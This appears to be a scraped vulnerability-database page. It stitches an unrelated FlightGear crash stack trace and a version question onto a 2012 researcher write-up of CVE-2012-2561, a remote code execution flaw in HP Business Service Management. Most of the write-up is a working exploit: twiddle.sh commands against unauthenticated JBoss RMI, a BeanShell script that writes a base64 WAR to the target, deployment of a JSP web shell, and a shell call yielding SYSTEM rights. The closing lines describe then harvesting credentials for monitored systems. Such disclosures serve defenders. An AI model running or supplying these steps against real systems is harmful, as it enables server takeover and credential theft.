0:000> kb ChildEBP RetAddr Args to Child 013df5bc 7c90de5c 7c801e3a ffffffff c0000417 ntdll!KiFastSystemCallRet 013df5c0 7c801e3a ffffffff c0000417 013df5fc ntdll!NtTerminateProcess+0xc 013df5d0 78b2af4f ffffffff c0000417 00000001 kernel32!TerminateProcess+0x20 013df5e0 78b2af7d 00000000 00000000 00000000 MSVCR100!_invoke_watson+0x23 013df5fc 78b2af8a 00000000 00000000 00000000 MSVCR100!_invalid_parameter+0x2c 013df614 78b1c7a3 013df8ec 013dfcc4 00000000 MSVCR100!_invalid_parameter_noinfo+0xc 013df8a8 78b05d0e 013df8cc 013df988 00000000 MSVCR100!_output_l+0x86 013df8ec 004a2424 013dfcc4 00000031 013df988 MSVCR100!_snprintf+0x84 WARNING: Stack unwind information not available. Following frames may be wrong. 013dfd08 004a2a3c 00000000 013dfd90 00000000 fgfs+0xa2424 013dfdbc 004a2aed 013dfdfc 0049ed0a 00000004 fgfs+0xa2a3c 013dfdc4 0049ed0a 00000004 00000004 0c0a3b88 fgfs+0xa2aed 013dfdfc 007ec98b 7d035c41 3ff4c78a 98706882 fgfs+0x9ed0a 013dfe34 007ec87a 00000000 3ff00000 00000005 fgfs+0x3ec98b 013dfe78 007ec432 00000000 3ff00000 008c4230 fgfs+0x3ec87a 013dfe90 004196ef 00000000 3ff00000 00000000 fgfs+0x3ec432 013dfeb0 0067d769 98706862 008c4230 0222abc0 fgfs+0x196ef 013dfed4 0041a067 987069aa 0222abc0 00000004 fgfs+0x27d769 013dff1c 00402082 00000004 0222abc0 987069ca fgfs+0x1a067 013dff7c 00850cb3 00000004 0222abc0 02172ee8 fgfs+0x2082 013dffc0 7c817067 217bc3f4 01cec380 7ffd9000 fgfs!std::_Init_locks::operator=+0x9ec 013dfff0 00000000 00850dd4 00000000 00905a4d kernel32!BaseProcessStart+0x23
Technical Analysis
Download Software (version 9.10):
http://www8.hp.com/us/en/software-solutions/software.html?compURI=1170773#
Question: is 9.10 vulnerable? It’s the one available for download
Remote Code Execution in HP Business Service Management leads to full system compromise (CVE-2012-2561)
HP Business Service Management (HPBSM) is build around the JBoss Application Server. In its standard configuration and when configured according to the HP installations guide, the newest fully patched version 9.12 comes with an open invoker-servlet (/invoker/JMXInvokerServlet does not require authentication) but more importantly, with RMI (port tcp/4444) and JDNI (tcp/1098 and tcp/1099) accessible without authentication. This gives a remote attacker access to the adapter service and therefore access to MBeans of the JBoss AS.
To exploit the vulnerability, an attacker can remotely deploy an application and call it via RMI. This can be done easily by downloading the official JBoss AS (e.g. jboss-4.2.3.GA) which includes the tool “twiddle.sh” in the bin-directory. With this tool, the RMI interface can be (ab-)used as follows to compromise the HPBSM and get code execution:
jboss-4.2.3.GA/bin/twiddle.sh -s
<servername>
get jboss.system:type=ServerInfo
—> this shows that the interface is accessible and does workcreate a simple jsp-shell and bundle it as a valid .war file (or use a ready one like http://www.redteam-pentesting.de/files/redteamjboss.tar.gz in the WAR directory)
—> this will be the shell on the attacked machinecreate a base64-representation of the war file (e.g. “base64 -w 0 hpbsm.war >> hpbsm.war.base64”)
—> this is needed for the deployer script which can only be asciicreate a text file without any line breaks as deployer help script “deployer.bsh”:
import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val=”<insert-hpbsm.war.base64-content>
”; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream(“C:\WINDOWS\TEMP\hpbsm.war”); fs,write(byteval); fs.close();
create the remote file (first remote code execution):
jboss-4.2.3.GA/bin/twiddle.sh -s<servername>
invoke jboss.deployer:service=BSHDeployer createScriptDeployment “cat deployer.bsh
” deployer.bsh
—> this creates the war file in C:\windows\temp on the remote attacked machinedeploy the created file (second remote code execution):
jboss-4.2.3.GA/bin/twiddle.sh -s<servername>
invoke jboss.system:service=MainDeployer deploy “file:C:/WINDOWS/TEMP/hpbsm.war”
—> now the attackers jsp-shell is deployedmake sure the deployment was successful by looking up your jsp-shell:
http://<servername>
:8080/status?full=truecall the actual shell (in this case, it’s the one from the redteamjboss.tar.gz):
http://<servername>
:8080/hpbsm/shell.jsp?pass=secret&cmd=whoami
—> the output is “nt/system” which means that the remote code execution did work and the attacker even has the highest possible system rights because the server process runs as nt/system!
This works even through firewalled HPBSM installations which are not allowed to make outgoing requests.
Side note: HPBSM is a product that is used to monitor other critical systems. To be able to do that, HPBSM servers need so called “scripts” which include clear text credentials for the monitored systems! Therefore, an attacker gains not only full access to the HPBSM server itself but potentially gains accounts and credentials to numerous important systems because in general, monitored systems are important :–)
David Elze, 2012-05-21 (vuln found 2012-03-30 & reported 2012-04-02)